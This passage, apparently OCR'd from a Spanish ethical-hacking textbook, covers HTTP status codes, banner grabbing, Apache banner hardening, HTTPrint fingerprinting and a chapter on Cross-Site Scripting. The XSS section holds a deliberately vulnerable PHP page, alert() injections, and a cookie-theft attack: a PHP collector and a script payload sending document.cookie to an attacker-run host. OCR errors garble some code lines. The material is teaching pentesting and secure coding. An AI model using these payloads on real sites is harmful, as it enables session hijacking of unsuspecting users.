Existen otros codigos que se utilizan en las peticiones correctas,
pero quizas no sean tan comunes como los dos que mencionamos
anteriormente. Por ejemplo, la respuesta 204 No content, que recibimos
cuando la peticién fue exitosa pero no necesitamos que se nos envie
ninguna otra informacion.

Redirecciones

Las redirecciones ocurren de forma transparente para el usuario
si se esta usando un navegador web. Cuando solicitamos un recurso
que ha sido movido, el servidor nos responde con el codigo de estado,
que nos informa de la situacion y de la nueva locacion del recurso. De
modo que nuestra consulta se redirecciona a esa nueva ubicacién y
nosotros nunca nos enteramos de lo que ocurrio.

Si realizamos la peticion desde NetCat, podemos conocer cuales
son esos codigos que responde el servidor en caso de que el recurso
solicitado haya cambiado de ubicacion.

Un codigo que podemos encontrar con bastante frecuencia es
301 Moved Permanently, que indica que el recurso solicitado ha sido

movido permanentemente de esa direccién y brinda ademas la nueva

ubicacién del archivo.
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* root@bt: ~
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Figura 19. El cddigo 301 Moved Permanently
avisa que el recurso solicitado ya no se encuentra en esa ubicacion.

Otro coédigo de redireccion bastante comun es el 302 Moved
Temporarily, muy similar al 301, pero con el cual la nueva ubicaciéon del
recurso debe tomarse como un reemplazo temporal. Existen atin mas
respuestas que informan sobre redirecciones, y su cédigo siempre
empieza con el nimero 3.

Errores del cliente

Son cédigos que visualizamos con bastante frecuencia en nuestro
navegador web, ya que indican que somos
nosotros (los clientes) quienes nos hemos

LOS CODIGOS DE equivocado. Aqui entra en accién el famoso

ESTADO HTTP NOS error 404 Not Found, que informa que el recurso
solicitado no se encuentra.

INFORMAN TODO Otro error conocido es el 403 Forbidden,

SOBRE NUESTRA que vemos cuando ingresamos donde no

corresponde (accidentalmente o no), e indica
CONSULTA que no podemos visualizar el contenido porque
carecemos de los permisos necesarios. Por otra
parte, 400 Bad Request informa que tenemos un
error de sintaxis en la peticion.
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Figura 20. 404 Not Found informa que el recurso no se encuentra.

Como vimos al comienzo de la seccion anterior, el método OPTIONS
muestra las opciones de comunicacion habilitadas en el servidor. Pero,
si OPTIONS no estuviera disponible, tendriamos que intentar método
por método. Cuando realizamos la peticién a uno que no esta
habilitado, se nos informa con el cédigo de error 405 Method Not Allowed.

* root@bt: ~

Figura 21. El cddigo 405 Method Not Allowed
indica que el método no estéd permitido en el servidor.
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Errores del servidor

Por ultimo, conoceremos los errores que pueden ocurrir en el
servidor. Uno de ellos es el 500 Internal Server Error, que podemos ver
cuando se produce algun error en el interior del servidor y éste no
puede procesar nuestra peticion.

También existe el c6digo 505 HTTP Version Not Supported que, como
su nombre indica, informa que la version HTTP que estamos utilizando
para realizar la peticion no es soportada por el servidor.

HTTP Fingerprinting

Un hacker tiene sobradas razones para saber qué software esta
ejecutandose sobre su objetivo. Una de ellas es que cada versiéon y
modulo de los servidores web tiene sus respectivos fallos de seguridad.

Por lo tanto, si quiere aprovecharse de ellos, l6gicamente debe conocer
con la mayor exactitud posible frente a qué se encuentra. De eso se tratan
las técnicas HTTP Fingerprinting, que sirven para identificar mediante el
protocolo HTTP el software que ejecuta un determinado servidor.

Banner Grabbing

Una técnica de HTTP Fingerprinting muy simple es la de Banner
Grabbing. El banner es la informacion que nos envia un servicio al
interactuar con él.

En el caso de los servidores HTTP, el banner es el que podemos
visualizar en la cabecera Server. Para obtenerlo debemos realizar una
consulta al servidor usando el método HEAD que, como sabemos,
devuelve las cabeceras HTTP de un recurso.

En la seccién de codigos de estado HTTP de este capitulo, tratamos solo las respuestas que vemos con

mas frecuencia. Si nos interesa, podemos buscar el Request For Comment 2616, que pertenece al
protocolo HTTP, donde estéan descritos todos los cddigos de estado existentes.
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% root@bt: ~
View Terminal Help

Figura 22. Banner Grabbing es una técnica
de HTTP Fingerprinting. La cabecera Server
contiene la informacién que mas nos interesa.

En el caso de la Figura 22, la cabecera Server informa que el
servidor esta utilizando el software Apache (version 1.3.41), con
soporte para PHP (version 5.2.17), bajo un sistema Unix. Tales datos
son de gran importancia para un hacker, pero los banners no son 100%
fiables, ya que esta informacion es muy facil de modificar. Pueden
darse, por lo tanto, dos opciones:

1) Que el administrador haya borrado el banner de modo que no
podamos obtener nada;
2) Que haya reemplazado la informacion original por datos falsos.

Logicamente, la segunda opcidon es la mas inteligente desde el
punto de vista del administrador. A continuaciéon -si bien no nos
aseguraremos de que un atacante jamas descubra el software que
realmente se esta usando- aprenderemos a modificar el banner a gusto.

Modificar el banner

Si ya hemos instalado nuestro servidor HTTP Apache todavia
podemos hacer algo para evitar mostrar estos datos: editar el archivo
de configuracion httpd.conf. Deberemos agregar o modificar, segin
corresponda, las siguientes directivas:
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ServerSignature Off
ServerTokens Prod

La primera linea (ServerSignature 0ff) sirve para que, cuando se
produzca un error (por ejemplo 404 Not Found), el servidor no muestre
en la pagina datos de si mismo.

La segunda linea es ServerTokens Prod, que permite ocultar la
informaciéon que se ve en la cabecera Server y que lo Unico que se vea
en el banner sea Apache (también, en la directiva, podria ir 0S, Major,
Minor o Min, pero muestran aiin mas informacién que Prod).

Si todavia no instalamos nuestro servidor Apache, tenemos una
mejor opcion: editar el archivo ap_release.h, que encontramos en la
carpeta include. Alli podremos personalizar completamente el banner,
inventar un nuevo nombre de servidor o reemplazarlo por otro, como
Internet Information Server. Lo que veremos al abrir ese archivo es
similar a lo que muestra la Figura 23.

GNU nano 2.2.4 Archivo: ap _release.h

tdef ine Al E 'Apache Sof tware Foundation"
Apache HTTP Server"
Apache"”

Uer ayuda § 3 r
#{ Salir JIR icargll
To direct input to this VM, click inside or press Ctrl+G. HaHBOUS G =)

Figura 23. Para personalizar el banner de nuestro servidor,
podemos editar el archivo ap_release.h.

Una buena idea seria engainar al atacante y hacerle creer que

esta frente al servidor IIS de Microsoft, modificando los datos de
la siguiente manera:
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#define AP_SERVER_BASEVENDOR “Microsoft”
#define AP_SERVER_BASEPROJECT “Microsoft-IIS”
#define AP_SERVER_BASEPRODUCT “IIS”

#define AP_SERVER_MAJORVERSION_NUMBER 6
#define AP_SERVER_MINORVERSION_NUMBER 0

Asi, cuando realicemos una peticion al servidor, podremos visualizar
que la cabecera Server dice: Microsoft-IIS/6.0. Sin embargo, los
atacantes no se van a dejar engaiar tan facilmente. En la primera
sospecha intentardn identificar mediante otras técnicas cual es el
verdadero software que contiene el servidor.

Analisis con HTTPrint

Como hemos dicho, el banner no es 100% fiable, por lo que,
si estamos realizando un test de intrusion, debemos hacer otras
pruebas de HTTP Fingerprinting. La clave esta en los diferentes
comportamientos que tienen los servidores HTTP ante la misma
circunstancia. Por ejemplo, cuando realizamos una peticion HEAD,
el orden de las cabeceras en la respuesta del servidor es diferente
en Apache, IIS, y otros servidores. Lo mismo ocurre cuando se intenta
utilizar un método no permitido, un protocolo diferente, otra versiéon
de HTTP (inexistente), etcétera.

En definitiva, los servidores HTTP responden de diferente manera
a la misma peticion, y esto nos ayuda a identificarlos porque, mas
alla de lo que diga el banner, analizando su respuesta podremos tener
bastante seguridad sobre el software utilizado.

Puede que distinguir entre un servidor Apache y un IIS mediante
estas técnicas sea facil, pero si queremos ain mas detalles (como, por
ejemplo, la version del software) el asunto se complica. Asi como hay
diferencias entre servidores HTTP, también las hay entre las distintas
versiones de un mismo servidor. Deberiamos poseer una base de datos
con las firmas de cada software y su respectiva versioén, para luego
comparar nuestro analisis del objetivo con estas firmas y asi identificar
frente a qué servidor nos encontramos.
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Existe una herramienta que posee una base de

LAS TECNICAS HTTP datos con estas firmas y ayuda a realizar la tarea:
FINGERPRINTING HTTPrint, una aplicacion que analiza el objetivo
con diferentes técnicas de HTTP Fingerprinting
IDENTIFICAN y crea una huella para compararla con su base
EL SOFTWARE de datos de firmas e informar el software que
se esta utilizando en el servidor. Esta disponible
DE UN SERVIDOR para varias plataformas y el sitio web desde
donde descargarla es: http://net-square.com/
httprint.html.
d httprint version 0.301
Input Fils =~
]AppDaEa\ana!\Temp\F\ar$EXI]D 432%httprint_301\win32\input.tst EJ Load ;rr;ap
Signature File
IEt\Llsers\shey\AppDala\anai\Temp\F\adEXﬂﬂdSZ\httpmnlﬁEﬁ E"J
Host | Port l @] Banner Reported | Banner Deduced | Conf.% |
|| vy, oo org 80 : Apache/2.2.12 (Ubuntu) TUX/2.0 [Linux) 4337 Q
|| v net 80 [[] Apache/1.3.41 (Unix) PHR/5.2.17 TUX/2.0 [Linus) 2892 [)
|| vy com a0 [7] Apaches2215 Microsoft-l1S/6.0 38.55 5.'
|| v s com 80 || Apache/22 Lotus-Domina/6.x 25 &
| waws=————=comar 80 [T MicrosoftIS/6.0 Microsoft-1S/6.0 8434 &Y
WY, C— 0 80 | | Apache/2.2.19 [Unix) mod_ssl/2.2.19 Ope...  TUX/2.0 [Linux) 8337 A

Apaches2.2.19 (Unizx) mod_ssls2.2.19 OpenSSLs/0.9.8e-fips-rhelS DAV-2 PHP-5.2.17
811C9DCS6ED3C295811C9DC5811CIDCS050C5D32505FCFEB4276E4BE811CIDCS
0D7645B5811C9DC52A200B4CCD37187CB11C9DC5811C9DC5811CaDC5811C9DCS
E2CE6920811C9IDCSE2CE6920811CIDCSE2CE6927811C9DCS6ED3C295811CIDCS
811C9DCSE2CE692024200B4C811C9DCSB11CIDCSKEDIC295811CIDCS6ED3C295
811C9DC5811CIDCSBAACING0E2CER927E2CERT23

TUX/2.0 (Linux): 72 43.37 -

Apaches2 . 0.x: 67 33.12 |

Apaches1.3.26: 64 27.79

Apaches1.3.[4-24]: 64 27.79 =

r~ Report File- .
* L
C:\Users\shey\AppD ataLocahTemp\Rar$EX00. 432 httprint_301 |1 (.“ :;"j xml » i Clear All Options
ttprint has been completed.. < »

Figura 24. HTTPrint ayuda a identificar
el software que se ejecuta sobre nuestro objetivo.

En la Figura 24 observamos que esta herramienta permite analizar
varios sitios a la vez. En una columna muestra lo que dice el banner y
en otra lo que dedujo mediante técnicas de Fingerprinting, junto con la
comparacion de la huella con sus firmas ya almacenadas. En la Figura
25 podemos ver el tipo de reporte que genera la aplicacion.

En este caso vemos un sitio que, segun su banner, utiliza el software
Apache (version 2.2.15), pero parece que engafia: segun la deduccion
de HTTPrint, estd usando Microsoft-1IS (version 6.0).
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' httprint web server fingerprinting report - Mozilla Firefox

Archive Editar Ver Histopal Marcadores Herramienfas Ayuda

| 0O httprint web server fingerprinting report | +
|

USERS|

\@ = || L file///C:/Users/shey/AppData/Local/Temp/RarSEX00.432/httprint_301/win32/httprintoutput.html

1y -1e]| 8- Goge

“@ web server fingerprinting report

Apache/2 2 12 (Ubuntu)

TUX/2.0 (Linux)

Apache/1.3.41 (Unix) PHP/5.2 17

TUX/2.0 (Linux)

Apache/2 2 15

Microsoft-IIS/6.0

Apachef2 2

Lotus-Domino/6.x

Microsoft-1S/6.0

Microsoft-I1S/6.0

Microsoft-1S/6.0

Microsoft-I1S/6.0

Apache/2 2 19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-thels DAV/2 PHP/5.2.17

TUX/2.0 (Linux)

Figura 25. HTTPrint genera un reporte
sobre el analisis en html, xml o csv.
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Comprendimos la importancia del protocolo HTTP y su funcionamiento. Aprendimos a utilizar herramien-

tas como Live HTTP headers y NetCat para dialogar con los servidores. Nos concentramos en analizar
los diferentes métodos de peticion (OPTIONS, GET, POST, HEAD, TRACE y PUT) para obtener datos
de importancia e investigar cémo vulnerar nuestro objetivo. Analizamos los cddigos de estado HTTP, que
permiten conocer los problemas que pueden presentarse al realizar una peticion, y finalmente aprendi-

mos técnicas de HTTP Fingerprinting para identificar servidores.
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Actividades

W 00 N O O A~ W N =

g A~ W N =

TEST DE AUTOEVALUACION

;Qué significa hipertexto?

;Como funciona el protocolo HTTP?

;Para qué sirve el software Apache?

;Qué diferencia hay entre Live HTTP headers y NetCat?

;Cuéles son las versiones del protocolo HTTP y qué diferencias hay entre ellas?
(Cudl es la diferencia entre GET y HEAD?

;Cuales son las cabeceras HTTP mas interesantes para un hacker?

iCémo se puede vulnerar un servidor mediante el método PUT?

:Como podemos identificar el software utilizado por un servidor web?

EJERCICIOS PRACTICOS

Instale un servidor HTTP Apache.

Intercepte una conexion HTTP con el add-on para Firefox Live HTTP Headers.
Realice una peticion HEAD a un sitio web mediante NetCat.

Envie contenido a un servidor utilizando el método POST desde NetCat.

Instale la herramienta HTTPrint y analice al menos cinco sitios web diferentes.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Ataques Cross-Site

En este capitulo ingresamos a la auditoria de aplicaciones web.
Empezaremos con los ataques Cross-Site, que impactan del

lado del cliente, afectando a los usuarios que visiten el sitio.
Identificaremos y explotaremos las fallas que permiten realizar
estos ataques para comprender la peligrosidad de la técnica,

y conoceremos maneras de evadir filtros de datos. Por ultimo,

programaremos una aplicacion segura.

v Introduccion a Cross-Site v Evasion de filtros................... 140 %

LT L1 T T—— ) I -
v ReSUMEeN...cccciccemrrmesmnnansnennns 143

v Mi nombre es <script> ..........121
v Actividades......c.ccocrecainunnninnns 144

v XSS persistente ........c.cueee.. 131
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Introduccion a
Cross-Site Scripting

Hay muchos ataques de tipo Cross-Site, pero comenzaremos
analizando el mas comun: Cross-Site Scripting, también conocido
como XSS. La mayor parte de los ataques Cross-Site aprovechan el mal

filtrado de datos de una aplicacién web, es decir,
la informacién con la que el usuario interactia

LOS ATAQUES CROSS- sobre el sitio (por ejemplo, formularios, libros

SITE APROVECHAN de visitas, foros), donde los datos escritos no
son controlados debidamente por la aplicacion.
EL MAL FILTRADO Casi todos los programadores pasan por alto esta
DE DATOS DE UNA vulnerabilidad. Existe un proyecto de OWASP
, (Open Web Application Security Project) que realiza
APLICACION WEB un Top Ten con las diez vulnerabilidades que

mas afectan a los sitios web hoy en dia. Como

podemos ver en la pagina del proyecto (www.
owasp.org/index.php/Category:OWASP_Top_Ten_Project), XSS
ocupa actualmente el tercer puesto.

Desde el punto de vista del atacante, debemos buscar una entrada
de datos en el sitio web (formulario, libro de visitas, etcétera) e intentar
darle un uso diferente al que realmente tiene. Para cambiar el
comportamiento de la aplicacién inyectaremos cédigo HTML, JavaScript
u otra tecnologia client-side en dicha entrada. Pero, antes de pasar de
lleno a la accién, debemos tener claras las diferencias entre cliente y
servidor y conocer las tecnologias web involucradas en la técnica.

Inyeccion de cédigo <html>
- JS
. Ejecucion de codigo inyectado </html>
Hacker Aplicacion
web

Figura 1. Para explotar un X8S debemos encontrar una entrada
de datos donde sea posible hacer una inyeccion de cédigo.
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Dos lados diferentes:
Cliente y Servidor

Luego de analizar en los capitulos anteriores el funcionamiento
de los protocolos HTTP y DNS, que claramente utilizan el esquema
cliente-servidor, es probable que tengamos bien definida la diferencia
entre ambos lados. De todos modos, trataremos nuevamente el tema
enfocando la explicacién desde la técnica de Cross-Site Scripting.

Tal como aclara el titulo de esta seccion, son dos lados diferentes.
El cliente es quien realiza peticiones al servidor (por ejemplo, un
usuario que desde un navegador web solicita la resolucién de nombres
de dominio o transferencias de recursos web, interactia con los sitios
enviando y recibiendo informacién, etcétera). Por otro lado, el servidor
debe atender al cliente enviandole toda la informacién que solicite, es
decir, respondiendo cada una de sus peticiones.

Lo interesante es que, asi como hay aplicaciones que funcionan del
lado del cliente y otras del lado del servidor, también hay tecnologias
web que se ejecutan de un lado o del otro.

Peticion

. Respuesta g

Cliente Servidor

Figura 2. En la arquitectura cliente-servidor, el cliente realiza
las peticiones mientras que el servidor se encarga de responderle.

JavaScript de nuestro lado

Existe una gran variedad de lenguajes y tecnologias para la
programacion de paginas web, como HTML, PHP, JavaScript, VBScript,
Ajax o ASP. Pero, dijimos, algunos se ejecutan del lado del servidor
(como PHP) y otros del lado del cliente (como JavaScript). En la técnica
de Cross-Site Scripting se encuentran involucrados los lenguajes que se
ejecutan del lado del cliente, es decir, en el navegador del usuario que
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solicita la pagina. Es probable que tengamos dudas respecto a esto y
nos preguntemos cémo es posible que el cédigo de la pagina se ejecute
en nuestro navegador, si ésta se aloja en un servidor en cualquier parte
del mundo. Sucede que, cuando visitamos un sitio web a través de
nuestro navegador, enviamos la peticién para ver determinada pagina
al servidor que la hospeda, éste responde con el codigo (conformado
por HTML, JavaScript, etcétera) y luego nuestro navegador lo descarga
e interpreta para mostrar el contenido en pantalla.

Google /index.html

<html>..JS..</html>

Cliente Servidor

Figura 3. JavaScript es un lenguaje que se ejecuta del lado del cliente;
nuestro navegador lo interpreta y muestra el contenido en pantalla.

En la seccion anterior mencionamos que en el ataque de Cross-Site
Scripting se debe hacer una inyeccion de cédigo a una entrada de
datosdelaaplicacionweb.Ese c6digo inyectado estara programado
en JavaScript, asi que dicho lenguaje nos acompanara a lo largo de
todo el capitulo.

Pero, si JavaScript se ejecuta en nuestro navegador, ;como logramos
llegar al servidor? jAcaso la idea no es obtener el control total de
nuestro objetivo? Cross-Site Scripting es un ataque del lado del cliente
ya que, no importa lo que se haga, el servidor no sera afectado.
Entonces la pregunta es: ;hasta donde se puede llegar con esta técnica?

444

La arquitectura cliente-servidor se emplea en multiples casos. Los protocolos HTTP, DNS, IRC, FTP y

muchos otros utilizan este esquema. También las redes de computadoras suelen tener un servidor de

archivos, al cual acceden los equipos pertenecientes a la red (clientes).
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El limite de XSS es la imaginacion

Desde afectar a un usuario hasta afectar a miles, desde obtener
el acceso a una cuenta de correo, panel de administracion, redes
sociales... hasta redireccionar para donde se quiera todos los accesos
a un sitio. El limite de XSS es la imaginacion y el conocimiento que se
posea sobre JavaScript u otro lenguaje client-side. De todos modos,
quienes no sepan demasiado de programacion podran ver ejemplos
simples, de gran ayuda para empezar en el tema.

i
@ Category CWASF Top Ten Propest +
€ & ] B

@ Dustier B Coover 7 €35 [ o @ rager @ ntsomatiore [ Mscetraoar  Outiser # Resn w A Tookr B Ve Soce 8, Optanr

Category:OWASP Top Ten Project

OWASP Ths propuet has grockscad @ buot (hal o be
Boaks Feul bt 1o bawerw the

Figura 4. Cross-Site Scripting ocupa el tercer puesto
en el Top Ten de vulnerabilidades OWASP.

Aunque el servidor no se vea afectado con lo que hagamos,
existen infinidad de ataques posibles con Cross-Site Scripting dirigidos
a clientes, es decir, a quienes visitan el sitio web vulnerable a XSS.
El codigo inyectado en la pagina dependera, en parte, de la intencion que
se tenga. Por ejemplo, XSS es aprovechado muchas veces para obtener
acceso a la cuenta de administracion del sitio o a las de los usuarios,
o para redireccionar a cada visitante que ingresa hacia otro sitio.

Tipos de Cross-Site Scripting

En este capitulo analizaremos a fondo dos tipos de Cross-Site Scripting,
dado que la inyeccién que se realice puede variar segun el tipo de XSS.
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Para comenzar, hablaremos del mas comun: el reflejado, también
llamado no persistente o indirecto. Afecta inicamente a las personas
que el atacante elija para, por ejemplo, obtener su cuenta de usuario
en el sitio vulnerable. Se trata de una técnica “no persistente” porque el
codigo inyectado no permanece en la pagina. El atacante debera engafar
a su usuario objetivo haciéndolo entrar a la pagina vulnerable a través
de una direccion URL manipulada, que contiene la inyecciéon de codigo.

http://sitio.com/index.php?var=inyeccion

pagina con codigo inyectado

S

Usuario Servidor
web

Visita el sitio:
http://sitio.com/index.php?var=inyeccion

Hacker

Figura 5. En el XSS reflejado el atacante debe lograr que el usuario ingrese
al sitio a través de la URL que contiene la inyeccién de codigo.

Otro tipo de Cross-Site Scripting o XSS que podemos encontrar es el
persistente o directo. La inyeccién de codigo persiste en la pagina, es
decir que se almacena en una base de datos y queda permanentemente
alli, afectando a todos los usuarios que ingresen al sitio. Por ende, el
hacker no sabra quiénes son las personas que sufriran su ataque (que

444

En el sitio web de OWASP podemos encontrar una muy variada documentacion sobre la técnica de Cross-

Site Scripting. Desde métodos de ataque y evasion de filtros hasta mecanismos de prevencion. La cita
obligada es en www.owasp.org/index.php/Cross-site_Scripting_(XSS).
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podria consistir, por ejemplo, en redireccionarlas hacia otro sitio o
atacar su navegador web para que deje de funcionar correctamente).

' http://sitio.com/pagina.html
pagina.html con codigo inyectado

~'~
s' ;

Usuarios

Servidor
web

inyeccion de coédigo a pagina.html

Hacker

Figura 6. En el XSS persistente |a pagina web almacena el codigo malicioso
inyectado, que se ejecuta en los navegadores de todos los visitantes.

Mi nombre es <script>

Dedicaremos esta seccién al Cross-Site Scripting reflejado o no
persistente. Recordemos que se le llama asi porque la inyecciéon no
permanece en la pagina afectando a todos los visitantes sino que, por
el contrario, el atacante debe enganar a cada victima en particular para
que ejecute en su navegador la inyeccién de coédigo maliciosa.

Del lado del atacante se debe buscar en el sitio web una entrada
de datos donde el contenido no se filtra bien. Por ejemplo, una
variable en la programacién de la web, cuyo valor es asignado por
el usuario mediante la URL o la aplicacion. Tal valor se incluye en el
codigo de la pagina temporalmente, y es interpretado y ejecutado
por el navegador del usuario.

A continuacion, analizaremos casos donde es comin encontrar
un XSS reflejado. Identificaremos la falla desde el codigo fuente y
realizaremos inyecciones en JavaScript.
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El clasico alert()

Si hemos leido textos acerca de la técnica de Cross-Site Scripting,
notaremos que la mayoria brinda ejemplos que utilizan un alert().
;Qué es un alert()? Es esa pequefia ventanita que aparece en pantalla
mostrando un mensaje. La sintaxis en JavaScript es la siguiente:
<script>alert(‘texto a mostrar’);</script>, ya que todo codigo escrito en
este lenguaje empieza con <script> y termina con </script>.

Lkl )
bl GinetBock XSS gy x |l tGoow

5+ [d Formes Gl Images @) Informations [l Muscallaneours /7 Outine o Rasizes K Tooks Bl View Source (] Options®

Figura 7. Un alert se utiliza para mostrar
un determinado mensaje al usuario de la pagina.

Dado que en los capitulos anteriores instalamos un servidor web,
vamos a aprovecharlo para hospedar nuestros cédigos vulnerables a
XSS vy realizar diversas practicas. Empezaremos creando el archivo
XSS.php (la extensioén es .php, por lo cual su coédigo estara programado
en PHP), al que afiadiremos el siguiente contenido:

<?php
$pagina = $_GETI[‘pagina’l;
if ($pagina == “inicio” }{
echo “Esta es la pagina de inicio”;
Yelse {
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echo “La pagina “.$pagina.” no esta disponible”;
}

7>

Se trata de un codigo muy simple. En primer lugar, declaramos la
variable vulnerable (pagina) e indicamos, mediante $_GET, que su valor
se obtiene a través de la URL. Como vemos, no tiene ningun filtro, por
lo tanto cualquier valor que le pasemos sera aceptado. El resto del
codigo es simple: si el valor de pagina es igual a “inicio” se imprime
un mensaje en pantalla, de lo contrario (si el valor es cualquier otro)
se imprime otro mensaje.

it/ localhost W... paging= CUALQUIERA |

€ & locainost

La pagina CUALQUIERA no esta disponible

@ Foente de hitp/ocathon/WebsVulnersbies/ XSS phpTpsgmnss CUAL QUERA - Mexila Firefos

na CUALQUIERA no estd disponible<hls

Figura 8. Mediante la URL le asignamos valor a la variable pagina;
seglin cual sea dicho valor, se imprimira un mensaje determinado en pantalla.

En la pagina web http://ha.ckers.org/xss.html encontramos una gran lista de codigos JavaScript
para inyectar. Es muy 0til tenerla a mano a la hora de buscar fallos en el sitio que vamos a analizar y para

evadir filtros de datos, ya que contiene cédigos para hacerlo.
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Como vemos en la Figura 8, ingresamos a la pequefia aplicacion
web desde nuestro navegador y le pasamos el valor a la variable
pagina mediante la URL, del siguiente modo: XSS.php?pagina=valor.
Esta es la entrada de datos que tanto buscamos, y la falla radica
en que se incluye el valor que le asignemos a la variable dentro del
cédigo fuente de la pagina.

Para despejar las dudas, realicemos nuestra primera inyeccion.

En vez de pasar como valor una simple palabra, pasaremos un pequefio
cbédigo programado en JavaScript, de modo que la URL quedara asi:
XSS.php?pagina=<script>alert(‘soy una ventanita molesta =(*);</script>.

El resultado sera similar al que muestra la Figura 9.

) Conactande... |+
€& 8 localhost Webivilnerstle phpTpaging

Soy una ventanita molesta ={

Figura 9. Realizamos una pequena inyeccion de codigo
a la aplicacion web y obtenemos un alert () como resultado.

Una vez que tenemos la entrada de datos vulnerable a la inyeccion
de c6digo, se forma una URL similar a la siguiente: www.sitio.com/
XSS.php?pagina=<script>alert(‘soy una ventanita molesta =(*);</script>.

El atacante debe lograr que su objetivo entre al sitio a través de esa
direccion, ejecutando asi la inyeccién de cé6digo en su navegador web.

Este es un ejemplo sencillo de XSS reflejado; a continuacion,
conoceremos otros casos en los cuales es coman encontrar la
vulnerabilidad de Cross-Site Scripting no persistente.
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Buscador vulnerable

Seguramente, navegando por internet nos hemos encontrado
con sitios web que poseen abundante contenido y por tal motivo
incorporan un buscador. Dado que nosotros debemos ingresar las
palabras que buscaremos dentro del sitio, podemos considerar al
buscador como una entrada de datos. Sin embargo, para completar
el XSS es necesario que el contenido buscado se incluya en el codigo
fuente de la pagina. ;Qué es lo que ocurre cuando nuestra biisqueda
no tiene resultados? Por lo general se muestra un mensaje similar a:
No se han encontrado resultados de: “texto”. Es entonces cuando lo
que buscamos se incluye en el cédigo del sitio y, si no existe un
correcto filtrado de datos, se presenta nuevamente la vulnerabilidad
de Cross-Site Scripting reflejada.

(8

BUSCADOR -+

Hola

( msm

NO SE HAN ENCONTRADO RESULTADOS DE: Hola

Figura 10. Buscador que almacena la bisqueda en una variable GET,
lo que significa que podemos ver y modificar el valor desde la URL.

El buscador que observamos en la Figura 10 almacena la busqueda

en una variable GET. Por lo tanto, cuando introduzcamos algo en el
campo de texto, notaremos que la direccién URL cambia y aparece
la palabra buscada alli, tal como se ve en la imagen. En caso de no
obtener resultados nos mostrara un mensaje que incluye el texto
que buscamos (es decir, el valor que contenga la variable) dentro del
cédigo fuente de la pagina.

www.redusers.com
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Al utilizar este buscador se nos forma una URL similar a la siguiente:
www.sitiovulnerable.com/huscador.php?buscar=hola. Le pasaremos a la
variable buscar un valor un poco mas raro. Intentemos con el clasico
alert(): www.sitiovulnerable.com/buscador.php?buscar=<script>alert(‘Sii
encontramos un XSS’);</script>.

L+ |
=/buscodor ghp Touscars < scnpt > alert( Sire Bncontramps e une Ficnpes

Ss encontramos un XSS

Figura 11. Le inyectamos cédigo en JavaScript
a un buscador vulnerable a XSS.

Encontramos buscadores de este estilo en millones de sitios web y
un gran porcentaje es vulnerable a Cross-Site Scripting no persistente.
En los proximos parrafos, analizaremos otro caso donde es muy comun
encontrar este tipo de XSS.

Mensaje de bienvenida modificado

Existen sitios web “sociables”, que muestran en pantalla un mensaje
de bienvenida. Lo que podemos ver es un texto similar a “Hola Usuario,
bienvenido a nuestro sitio web” y quizas algunos datos mas sobre
nosotros, como el navegador web que estemos usando, el sistema
operativo o nuestra direccion IP.

El nombre que aparezca en el mensaje de bienvenida dependera del
usuario que hayamos registrado en el sitio web. Supongamos que, una
vez que accedemos a la aplicacién, nuestro nombre de usuario se
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almacena en una variable para imprimirse en el mensaje de bienvenida,
obteniendo una URL parecida a la siguiente: www.sitiovulnerable.com/index.
php?usuario=nombre.

[
e g Tusken Sha ¢ @ cocge

Hola Shei, bienvenid@ a nuestro sitio web!
Estas usando el navegador web Firefox 11.8
Tu sistema operativo es Windows 7
Y tu direccién IP: 190.68.185.33

Figura 12. Muchos sitios web muestran un mensaje
de bienvenida en la pantalla del usuario.

Podemos aprovechar el mensaje para realizar una inyeccién en
JavaScript. Si vemos el codigo fuente de la pagina desde nuestro
navegador, notaremos que el nombre de usuario se incluye
perfectamente en dicho cédigo. Por lo tanto, esta es la entrada de
datos que necesitamos para llevar a la practica un XSS reflejado.

@ | B locanost/Webyunersblss/Mensaje ghplusess <scnpts slent( Otra vez i

Figura 13. Cambiamos nuestro nombre de usuario por un codigo
en JavaScript, que se ejecuta perfectamente en el navegador web.
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Después de haber realizado algunas practicas sobre escenarios
que cominmente encontramos en la web, ya tenemos claro el
funcionamiento del Cross-Site Scripting no persistente. En la proxima
seccion aprenderemos a obtener el acceso a una cuenta de usuario
perteneciente al sitio vulnerable.

Robo de cookies

En esta seccion aprenderemos a “robar” galletas (cookies, en
inglés), precisamente unas muy anheladas por los black hat hackers.

Cuando un usuario ingresa a un sitio web utilizando sus
credenciales de acceso le es asignada una cookie Gnica, que guardara
sus permisos y preferencias y lo mantendra identificado durante el
tiempo que permanezca en el sitio. Si un atacante logra robar su cookie
podra hacerse pasar por él y utilizar sus privilegios dentro del sitio.

Galletrta=gt56 Tan6SeteSdsutSh

Figura 14. Podemos hacer un alert(document. cookie)
para ver la cookie que nos asigno el sitio.

El plan es hacer una inyeccion de cédigo en JavaScript que,
cuando el usuario la ejecute en su navegador, automaticamente
nos envie su cookie.

Para comenzar debemos programar un pequeno cédigo en PHP
que se encargue de guardar la cookie en un simple archivo de texto,
y alojarlo en algiin servidor de nuestro poder.
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<?php

$galletita = $_GETI‘cookie’];
$archivo = fopen(“galletas.txt”, “a”);
fput($archivo, $galletita);
fclose($archivo);

7>

La inyeccion en JavaScript le pasara como valor a la variable
cookie el contenido de la propiedad document.cookie. Luego, el codigo
PHP se encargara de tomarla y guardarla en el archivo galletas.txt.
Supongamos que alojamos el codigo en la siguiente direccién:
www.nuestrositio.com/robacookies.php. La inyeccion en JavaScript sera:
<script>tdocument.location="www.nuestrositio.com/robacookies.php?cookie="
+document.cookie</script>. Es un poco extensa, pero cargara el archivo
PHP que roba las galletas (bajo nuestro poder) y le pasara como
parametro la cookie que pertenece al usuario victima del ataque.

inyeccién
HTML
document.cookie
Aplicacion
vulnerable
inyeccion
PHP
robacookies.php IXT
document.cookie
Hacker galletas.itxt

Figura 15. Mediante un XSS podemos robar la cookie
de un usuario y obtener su identidad y privilegios dentro del sitio.
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En la practica utilizaremos la aplicacion anterior del mensaje
de bienvenida, ya que el usuario se autentica en el sitio y obtiene la
cookie Gnica que buscamos. La inyeccion completa es la siguiente:
www.sitiovulnerable.com/mensaje.php?usuario=<script>document.
location="www.nuestrositio.com/codigo.php?cookie=" +document.cookie</
script>. Una vez que el usuario la ejecuta en su navegador, su cookie
se envia al PHP programado, que la almacenara en el archivo galletas.txt.

tminenii]
Barvena |+
& P ocahon (]
Hola , bienvenid@ a nuestro sitio web!
Estas usande el navegador web Firefox 11.8
Tu sistema operativo es Windows 7
¥ tu direccién IP: 190.68.105.33
=m B — L T —
-
ity /mmme.com galistas tat (K.
& P B

